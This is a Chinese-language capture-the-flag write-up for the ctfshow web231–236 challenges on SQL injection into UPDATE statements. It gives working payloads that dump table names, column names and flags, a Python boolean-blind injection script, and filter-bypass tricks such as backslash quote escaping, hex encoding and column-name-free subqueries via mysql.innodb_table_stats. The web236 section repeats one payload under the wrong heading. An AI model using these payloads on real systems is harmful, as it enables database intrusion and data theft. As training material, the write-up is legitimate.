前言
ctfshow web231-236
web231
查询语句
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
是update语句,我们可以修改字段名
password=1',username='a'#&username=1
这样的话整个语句就是执行了update ctfshow_user set pass = '1',username='a'#' where username = '1'
,#后面被注释
所以回到表单页面,username字段会全部改为a,password会改为1
所以我们可以在这里插入联合查询语句来爆出我们需要的信息
表名
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
列名
select group_concat(column_name) from information_schema.columns where table_name='flaga'
字段
select group_concat(flagas) from flaga
web232
查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
加了个md5,闭合一下就可以
password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=1
password=1'),username=(select group_concat(flagass) from flagaa)#&username=1
web233(布尔盲注)
查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
上题的payload打不进去了,说明password处肯定存在过滤
那我们就从username处注入,考虑进行布尔盲注,用已知的用户名ctfshow试试
password=1&username=ctfshow' and if(1=1,1,0)#
成功执行了
那么接下来就是跑脚本了(from boogipop)
import requests
url = 'http://4bddeb37-663a-42ca-86a1-0101f49d73be.challenge.ctf.show/api/?page=1&limit=10'
flag = ''
i = 0
j = 0
while True:
head = 1
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) >> 1
# payload=f"ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
#banlist,ctfshow_user,flag233333,查询表名
# payload=f"ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))>{mid},1,0)#"
#查询字段id,flagass233,info
payload = f"ctfshow' and if(ascii(substr((select group_concat(id,flagass233,info) from flag233333),{i},1))>{mid},1,0)#"
#答案
data = {"username": payload, "password": j}
r = requests.post(url, data=data)
if "\\u66f4\\u65b0\\u6210\\u529f" in r.text: # 更新成功
head = mid + 1
else:
tail = mid
if head != 1:
flag += chr(head)
print(flag)
else:
break
web234(\转义)
查询语句没变,但是还是不能拿之前的payload硬打
fuzz字典爆破一下发现'
被过滤了
这题需要用到\
对password参数后的'
进行转义,使其成为字符串中的一部分,然后实际闭合的位置在username的第一个'
处
所以password里的内容为1'where username =
,我们需要再注入一个,username=
然后就能构造我们需要的语句了
于是构造payload
表名
password=1\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
列名
注意由于过滤了单引号,这里可以用双引号来绕过,也可以直接16进制编码为0x666c6167323361
绕过
password=1\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name="flag23a")#
password=1\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
字段
password=1\&username=,username=(select group_concat(flagass23s3) from flag23a)#
看起来上一题也可以这么打
web235(无列名注入)
查询语句不变
过滤了or
和'
也就是说information库就用不了了
不过mysql中不只有information库有表格的信息,还有其他的库
InnoDb引擎
从MySQL 5.5.8开始,InnoDB成为其默认存储引擎。而在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_stats
和innodb_table_stats
两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
在MySQL 5.6版本中,可以使用mysql.innodb_table_stats
和mysql.innodb_table_index
这两张表来替换information_schema.tables
实现注入,但是缺点是没有列名。
select group_concat(database_name) from mysql.innodb_table_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
实战中需要注意mysql是否使用了InnoDB作为数据库的引擎
查看MySQL支持及默认的存储引擎:
show engines;
子查询
上面说了这种注入方式是不能得到列名的,也就是说我们要采用别的方式获取列名
在我们不知道列名的情况下,需要通过union来查询,并且要猜测列数
select 1,2,3 union select * from user;
然后可以用数字进一步查询对应列
select `3` from (select 1,2,3 union select * from user)a;
注:每个派生表都要有他的别名,所以我们要在末尾加上一个a
之类的能作为别名的字母
注:查询对应列要加反引号,否则会当数字处理全部输出3
如果反引号被过滤,可以用别名代替
select c from (select 1,2 as b,3 as c union select * from user)a;
同时查询多个列(0x2d为-
)
select concat(b,0x2d,c) from (select 1,2 as b,3 as c union select * from user)a;
题目
表名
password=1\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database());#
列名(返回的数据有2行,所以要用group_concat)
password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flag23a1)a);#
web236
过滤or
,'
,flag
实际测试了下,真的有过滤flag吗,如过?
表名
password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flag23a1)a);#
列名
password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flaga)a);#